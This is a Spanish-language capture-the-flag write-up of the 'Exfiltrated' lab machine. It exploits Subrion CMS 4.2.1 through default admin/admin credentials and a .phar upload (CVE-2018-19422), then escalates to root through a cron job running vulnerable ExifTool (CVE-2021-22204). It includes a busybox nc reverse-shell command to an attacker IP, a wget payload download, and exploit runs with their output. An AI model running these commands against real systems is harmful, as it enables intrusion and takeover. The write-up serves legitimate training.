the_open_door
café
ESEN

Exfiltrated

Proving Grounds PracticeMediaLinux192.168.195.163

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#subrion#cms#default-credentials#file-upload#cve-2018-19422#cron#exiftool#djvu#cve-2021-22204#oscp
TL;DR. Exfiltrated redirige a un vhost, exfiltrated.offsec, que sirve Subrion CMS 4.2.1. El panel entra con credenciales por defecto (admin/admin) y una subida de fichero saltándose el filtro da RCE como www-data (CVE-2018-19422). En el sistema, un cron de root ejecuta exiftool sobre las imágenes que subimos (cron sobre directorio escribible). Esa versión de ExifTool es vulnerable a la RCE de DjVu (CVE-2021-22204): subimos un .jpg malicioso, el cron lo procesa como root y nos devuelve una shell de root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Dos puertos:

ping -c 1 192.168.195.163
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.195.163
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.195.163 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
| http-robots.txt: 7 disallowed entries
|_/backup/ /cron/? /front/ /install/ /panel/ /tmp/ /updates/

HTTP - TCP 80

El puerto 80 no responde por IP: redirige a http://exfiltrated.offsec/ (virtual hosting por nombre). El navegador no resuelve ese nombre hasta que lo declaramos nosotros:

El navegador muestra Server Not Found en http://exfiltrated.offsec antes de añadirlo al hosts

Lo añadimos a /etc/hosts:

echo "192.168.195.163 exfiltrated.offsec" | sudo tee -a /etc/hosts
192.168.195.163 exfiltrated.offsec

Ya resuelto, la web muestra una plantilla corporativa ("KICKSTART") con su enlace de Log in. El robots.txt ya adelantaba rutas interesantes (/panel/, /backup/, /install/) y /panel/ es el panel de administración:

La portada de exfiltrated.offsec es una plantilla KICKSTART con enlace Log in

Subrion CMS: credenciales por defecto

El panel acepta las credenciales por defecto admin / admin:

Panel de Subrion accesible con admin / admin

Dentro, la configuración general confirma el producto y su versión: el sufijo de los títulos es :: Powered by Subrion 4.2:

Panel de Subrion; el sufijo de títulos confirma Powered by Subrion 4.2

Explotación

Subrion CMS 4.2.1: subida de fichero a RCE (CVE-2018-19422)

Subrion 4.2.1 arrastra la CVE-2018-19422: el gestor de ficheros del panel valida la extensión de forma incompleta, y subir un .phar (que Apache ejecuta como PHP) esquiva el filtro y da ejecución (CVE-2018-19422). El exploit 49876.py automatiza login, subida y webshell:

searchsploit 'subrion cms 4.2'
------------------------------------------------------------- ---------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------
Subrion CMS 4.2.1 - Arbitrary File Upload                    | php/webapps/49876.py
------------------------------------------------------------- ---------------------------

Copiamos el exploit y lo renombramos a algo manejable:

searchsploit -m php/webapps/49876.py
mv 49876.py subrioncms_exp.py
python subrioncms_exp.py -u http://exfiltrated.offsec/panel/ -l admin -p admin

El exploit sube una webshell .phar y devuelve ejecución como www-data

[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422
[+] Login Successful!
[+] Upload Success ... Webshell path: http://exfiltrated.offsec/panel/uploads/<rand>.phar
$ whoami
www-data

Dejamos Penelope a la escucha en el 22 (un puerto permitido por el filtrado de salida):

penelope 22

Desde la webshell lanzamos una reverse shell y la estabilizamos:

busybox nc 192.168.45.174 22 -e bash

Reverse shell estabilizada como www-data en exfiltrated

(Penelope)> listeners add -p 22
[+] Got reverse shell from exfiltrated~192.168.195.163-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
www-data@exfiltrated:/var/www/html/subrion/uploads$ whoami
www-data

Escalada de privilegios

Cron de root que ejecuta ExifTool

Enumerando, el /etc/crontab tiene una entrada de root que corre cada minuto un script, y ese script pasa exiftool por cada .jpg del directorio de subidas de Subrion (cron sobre directorio escribible):

cat /etc/crontab | tail
cat /opt/image-exif.sh
exiftool -ver

crontab con la tarea root que ejecuta /opt/image-exif.sh; el script corre exiftool sobre /var/www/html/subrion/uploads; exiftool -ver = 11.88

* *   * * *   root    bash /opt/image-exif.sh
IMAGES='/var/www/html/subrion/uploads'
...
ls $IMAGES | grep "jpg" | while read filename;
do
    exiftool "$IMAGES/$filename" >> $LOGFILE
done

Dos hechos encadenan la escalada: el directorio uploads es escribible por www-data (ahí subimos la webshell), y exiftool -ver devuelve 11.88, vulnerable a la RCE de DjVu.

CVE-2021-22204: RCE en ExifTool vía DjVu

ExifTool <= 12.23 ejecuta código al parsear metadatos de una imagen DjVu incrustada (CVE-2021-22204). Buscando el CVE damos con el exploit de LazyTitan33, cuyo README describe el fallo (DjVu en ExifTool 7.44+):

Repo GitHub LazyTitan33/ExifTool-DjVu-exploit: CVE-2021-22204, RCE por el formato DjVu en ExifTool

Con él generamos un payload.jpg que lleva embebido un reverse shell hacia nosotros:

git clone https://github.com/LazyTitan33/ExifTool-DjVu-exploit
python3 CVE-2021-22204.py 2>/dev/null

El exploit CVE-2021-22204 genera payload.jpg listo para usar

payload.jpg image is ready to be used.
# ls
CVE-2021-22204.py  README.md  payload.jpg

Descargamos el payload.jpg al directorio de subidas (escribible) y ponemos un listener. Cuando el cron de root procese la imagen con exiftool, disparará el payload:

# en la shell de www-data
wget http://192.168.45.174/payload.jpg
# en nuestra máquina
rlwrap nc -nlvp 4445

El cron de root dispara el payload y recibimos una shell como root

listening on [any] 4445 ...
connect to [192.168.45.174] from (UNKNOWN) [192.168.195.163] 58954
bash: cannot set terminal process group (43250): Inappropriate ioctl for device
bash: no job control in this shell
root@exfiltrated:~# whoami
root

En menos de un minuto el listener recibe la conexión como root.

Local y Proof

Con root leemos ambas flags (la local.txt vive en el home de coaran):

cat /home/coaran/local.txt && whoami && ip a && hostname

local.txt leída como root en exfiltrated

97a8e54d8d285163f2d806adc7ab7d1f
root
cat proof.txt && whoami && ip a && hostname

proof.txt leída como root en exfiltrated

58714e9cfb1152b414ff197ba095f86e
root

Cadena de ataque

HTTP (80)  --  redirect -> vhost exfiltrated.offsec (Subrion CMS)
        │  panel con creds por defecto (admin/admin)
        │  CVE-2018-19422: subida .phar -> RCE
        ▼
www-data
        │  cron root -> exiftool sobre /var/www/html/subrion/uploads (escribible)
        │  exiftool 11.88 vulnerable -> CVE-2021-22204 (payload.jpg DjVu)
        ▼
root  (local.txt + proof.txt)

Lecciones aprendidas

  • Un redirect a un vhost es una pista, no un muro. El 80 por IP no daba nada hasta añadir exfiltrated.offsec a /etc/hosts. El nombre en la cabecera de redirección era el camino.
  • Las credenciales por defecto siguen abriendo paneles. admin/admin en Subrion fue todo el esfuerzo de autenticación necesario para llegar a la subida de ficheros.
  • Validar extensiones por lista es frágil. La CVE-2018-19422 explota que .phar se ejecuta como PHP y no estaba filtrado; la validación debe ser por tipo real y con una allowlist estricta.
  • Un cron de root que toca un directorio escribible por el atacante es RCE. No hacía falta modificar el script: bastaba poner un fichero que el propio exiftool (vulnerable) procesara como root. Las tareas privilegiadas no deben operar sobre datos que controla un usuario sin confianza.
Cheatsheet de comandos 13 comandos

Repaso rápido